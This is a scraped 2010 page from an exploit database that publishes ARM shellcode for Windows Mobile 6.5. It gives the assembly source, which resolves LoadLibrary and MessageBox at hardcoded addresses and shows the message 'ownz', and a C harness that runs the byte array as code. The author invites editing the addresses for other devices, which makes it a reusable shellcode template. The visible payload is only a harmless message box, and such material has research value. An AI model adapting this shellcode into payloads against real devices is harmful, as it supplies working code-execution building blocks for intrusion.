Home / os / win7

[win32] - windows Mobile 6.5 TR (WinCE 5.2) MessageBox Shell

Posted on 26 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>windows Mobile 6.5 TR (WinCE 5.2) MessageBox Shellcode (ARM) | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Date: 26 Sep 2010 | Exploit category: win32 | Exploit author: Celil Ünüver | Inj3ct0r exploit database' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>============================================================
windows Mobile 6.5 TR (WinCE 5.2) MessageBox Shellcode (ARM)
============================================================

/*
 
Device: HTC Touch2
System: Windows Mobile 6.5 TR (WinCE 5.0.2)
 
Addresses of functions can be different on different devices so , you can edit the functions addresses.
 
Coded by Celil Ünüver from SecurityArchitect
 
Contact:
    celilunuver[n*spam]gmail.com
    www.securityarchitect.org
    blog.securityarchitect.org
 
        EXPORT  start
        AREA    .text, CODE
start
        eor r0, r0, r0
        eor r1, r1, r1
        eor r2, r2, r2
        eor r3, r3, r3
        ldr R12, =0x3f6272c ; LoadLibrary Address
        adr r0, lib ; library name {coredll.dll}
        mov lr, pc
        mov pc, r12
        ldr r12, =0x3f7c15c ; MessageBox Address
        mov r0, #0
        adr r1, mes
        adr r2, mes
        mov R3, #0
        mov lr, pc
        mov pc, r12
 
lib     dcb &quot;c&quot;,0,&quot;o&quot;,0,&quot;r&quot;,0,&quot;e&quot;,0,&quot;d&quot;,0,&quot;l&quot;,0,&quot;l&quot;,0,&quot;.&quot;,0,&quot;d&quot;,0,&quot;l&quot;,0,&quot;l&quot;,0,0,0
mes     dcb &quot;o&quot;,0,&quot;w&quot;,0,&quot;n&quot;,0,&quot;z&quot;,0,0,0
        ALIGN
        END
*/
 
#include &lt;stdio.h&gt;
#include &lt;windows.h&gt;
 
int shellcode[] =
{
0xE0200000,
0xE0211001,
0xE0222002,
0xE0233003,
0xE59FC048,
0xE28F0020,
0xE1A0E00F,
0xE1A0F00C,
0xE59FC03C,
0xE3A00000,
0xE28F1024,
0xE28F2020,
0xE3A03000,
0xE1A0E00F,
0xE1A0F00C,
0x006F0063,
0x00650072,
0x006C0064,
0x002E006C,
0x006C0064,
0x0000006C,
0x0077006F,
0x007A006E,
0x00000000,
0x03F6272C,
0x03F7C15C,
};
 
int WINAPI WinMain( HINSTANCE hInstance,
                    HINSTANCE hPrevInstance,
                    LPTSTR    lpCmdLine,
                    int       nCmdShow)
{
    ((void (*)(void)) &amp; shellcode)();
 
    return 0;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-26]</pre></body></html>

 

TOP

Malware :

Exploits :